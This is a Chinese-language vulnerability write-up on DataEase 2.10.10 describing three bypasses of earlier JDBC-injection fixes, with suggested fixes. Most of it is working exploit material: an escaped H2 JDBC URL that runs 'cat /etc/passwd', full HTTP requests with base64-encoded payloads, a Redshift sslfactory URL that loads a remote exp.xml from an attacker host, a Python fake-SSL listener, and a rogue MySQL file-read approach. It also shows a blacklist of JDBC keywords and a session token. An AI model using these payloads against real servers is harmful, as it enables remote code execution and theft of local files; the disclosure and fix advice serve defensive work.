0x01 h2 绕过 Database 2.10.10 中存在CVE-2025-49002的绕过。 core/core-backend/src/main/java/io/dataease/datasource/type/H2.java
可以看⻅只对StringUtils.containsAnyIgnoreCase(jdbc, “INIT”, “RUNSCRIPT”)) 进⾏检测。 然是根据h2 的特性在字符串中插⼊\ 进⾏转译,那么就可以绕过检测。
1 {"dataBase" :"" ,"jdbc" :"jdbc:h2:mem:test;in\\ it=DROP ALIAS IF EXISTS EXEC\\ ;CREAT\\ E ALIAS EXEC AS $$void exec() throws Exception {java.lang.String s = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\" cat /etc/passwd\" ).getInputStream()).useDelimiter(\" \\ A\" ).next()\\ ;throw new java.lang.Exception(s)\\ ;}$$\\ ;CALL EXEC()\\ ;" ,"urlType" :"jdbcUrl" ,"sshType" :"password" ,"extraParams" :"" ,"username" :"123" ," password" :"123" ,"host" :"" ,"authMethod" :"" ,"port" :0 ,"initialPoolSize" :5 ,"minPoolSize" :5 , "maxPoolSize" :5 ,"queryTimeout" :30 }
这是我对应的poc
1 2 3 POST /de2api/ datasource/getSchema HTTP/ 1.1 Host : 10.211 .55.14 :8100 Content - Length : 909 Accept : application/json, text/ plain, */* X - DE - TOKEN : your token Accept - Language : zh- CN User - Agent : Mozilla /5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ 537.36 (KHTML , like Gecko ) Chrome /122.0.6261.95 Safari/ 537.36 Content - Type : application/json Origin: http:/ /10.211.55.14:8100 Referer: http:/ /10.211.55.14:8100/ Accept - Encoding : gzip, deflate, br Connection : close {"id" : "" , "name" : "11" , "description" : "" , "type" : "h2" , "apiConfiguration" : [], "paramsConfiguration" : [], "enableDataFill" : false , "configuration" : "eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSV NUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge 2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRS dW50aW1lKCkuZXhlYyhcImNhdCAvZXRjL3Bhc3N3ZFwiKS5nZXRJbnB1dFN0cmVhbSgpKS51c2VEZWxpbWl0ZXI oXCJcXEFcIikubmV4dCgpXFw7dGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24ocylcXDt9JCRcXDtDQUxMIE VYRUMoKVxcOyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiO iIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJw b3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnl UaW1lb3V0IjozMH0=" }
数据包 命令执⾏结果直接放回在数据包⾥
修复 if (url.contains(“create trigger”) || url.contains(“create alias”) || url.contains(“runscript from”) || url.contains(“allowloadlocalinfile”) || url.contains(“allowloadlocalinfileinpath”) || url.contains(“uselocalinfile”) || url.contains(“autodeserialize”) || url.contains(“detectcustomcollations”) || url.contains(“serverstatusdiffinterceptor”)) { throw new IllegalArgumentException(“Invalid JDBC URL: contains malicious characters.”); } 建议对jdbcurl 去除转议后,然后对⽐⿊名单。
0x02 Redshift jdbc 攻击 (CVE-2025-48999 绕过) core/core-backend/src/main/java/io/dataease/datasource/type/Redshift.java
我⻔知道 redshift是兼容 PostgreSQL 语法,
在postgresql中,除了”socketFactory”, “socketFactoryArg”这样参数外,还有”sslfactory”,”sslfactory” 有这⼀样 的功能。区别再去sslfactory需要建⽴连接后触发。类似的还有sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName 。
所以这⾥⿊名单不完整。
我们可以使⽤下⾯的payload绕过检查。
1 jdbc:redshift:// 10.211 .55.14 :5432 /;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http:/ /10.211.55.14:8888/ exp.xml
因为要建⽴连接后才能出发,这⾥使⽤⼀个脚本监听5432,当有连接时返回⼀个s,让服务器以为建⽴ssl 连接, 以便触发FileSystemXmlApplicationContext加载。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import socket def run_server (): # 创建TCP套接字 server_socket = socket.socket (socket.AF_INET, socket.SOCK_STREAM) # 设置套接字选项,允许地址重⽤ server_socket.setsockopt (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) # 绑定地址和端⼝ server_address = ('' , 5432 ) server_socket.bind (server_address) # 开始监听,最⼤连接数为5 server_socket.listen (5 ) print (f"服务器监听在端⼝ {server_address[1]}" ) while True: # 接受客户端连接 client_socket, client_address = server_socket.accept () print (f"接受来⾃ {client_address} 的连接" ) try: # 发送字符'S' 到客户端 client_socket.sendall (b'S' ) finally: # 关闭客户端连接 client_socket.close () if __name__ == "__main__" :run_server ()
然后准备⼀个 xml poc
1 2 3 4 5 6 7 8 9 10 11 touch /tmp/rce
然后在本⾥分别使⽤python启动
填⼊payload
1 jdbc:redshift:// 10.211 .55.14 :5432 /;sslfactory=org.springframework.context.support.FileS ystemXmlApplicationContext;sslfactoryarg=http:/ /10.211.55.14:8888/ exp.xml
点击后 除发加载 对应数据包
1 2 3 POST /de2api/datasource/getSchema HTTP/1 .1 Host: 10.211.55.14:8100 Content-Length: 652 Accept: application/json, text/plain, */* X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MSwiZXhwIjoxNzQ5MTU0NTI0fQ.i5s KbBjb3myWOVZlGDXTh-TevP2HYlZ6idyRScjwXwI Accept-Language: zh-CN User-Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/122 .0 .6261 .95 Safari/537 .36 Content-Type: application/json Origin: http://10.211.55.14:8100 Referer: http://10.211.55.14:8100 / Accept-Encoding: gzip, deflate, br Connection: close {"id" :"" ,"name" :"1" ,"description" :"" ,"type" :"redshift" ,"apiConfiguration" : [],"paramsConfiguration": [],"enableDataFill":false,"configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmNVcmwiOiJqZGJjOnJl ZHNoaWZ0Oi8vMTAuMjExLjU1LjE0OjU0MzIvO3NzbGZhY3Rvcnk9b3JnLnNwcmluZ2ZyYW1ld29yay5jb250ZXh 0LnN1cHBvcnQuRmlsZVN5c3RlbVhtbEFwcGxpY2F0aW9uQ29udGV4dDtzc2xmYWN0b3J5YXJnPWh0dHA6Ly8xMC 4yMTEuNTUuMTQ6ODg4OC9leHAueG1sIiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiL CJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIiLCJob3N0IjoiIiwiYXV0aE1ldGhv ZCI6IiIsInBvcnQiOjAsImluaXRpYWxQb29sU2l6ZSI6NSwibWluUG9vbFNpemUiOjUsIm1heFBvb2xTaXplIjo 1LCJxdWVyeVRpbWVvdXQiOjMwfQ=="}
成功rce。
修复 sslhostnameverifier/sslpasswordcallback/authenticationPluginClassName 、sslfactory”,”sslfactory” 加⼊⿊
名单
0x03 JDBC _datasourceType bypass getjdbc_check o.dataease.datasource.provider.CalciteProvider#getConnection
这⾥只要不穿h2 ,也就是不⾛h2的检查了
如果我们传别的type,⽐如oracle,或者直接在case选择⼀个没有处理的 然后在configuration.getJdbc() 就的检查就是oracle 的jdbc,这样就绕过了h2的检查⽅式。然后最后的 drivername 是直接从configuration 中获取。 configuration 我们可控,就是我们传⼊的json
也就是我可以在这⾥插⼊“driver”:“org.h2.Driver” , 直接我就控制driverclass ,后⾯还是⾛h2 加载。
总结就是 在传type的时候传⼊不是h2类型,那么在getjdbc()的时候就会绕过h2的检查。 若果configuration中有dirvername,就会从中获取driverclass,这⾥我们可以插⼊“driver”:“org.h2.Driver”,这 样就绕过修复⽅案进⾏绕过。
H2 rce 绕过列⼦
mysql读⽂件列⼦
起⼀个恶意mysql服务器 连接后,绕过⿊名单,直接读取本地⽂件
修复 1 2 3 4 5 6 7 8 9 10 11 String jdbcurl = null ;DatasourceTypes datasourceType = DatasourceTypes.valueOf(datasourceRequest.getDatasource().getType()); Properties props = new Properties (); DeDriver deDriver = null ; switch (datasourceType) { case mysql: defaultDriver = "com.mysql.jdbc.Driver" ; jdbcurl = mysqlConfiguration.getJdbc(); .... } conn = driverClass.connect(jdbcurl, props);
确保jdbc都通过switch语句进行处理,然后在传入connect()而不是直接从configuration.getJdbc()直接获取。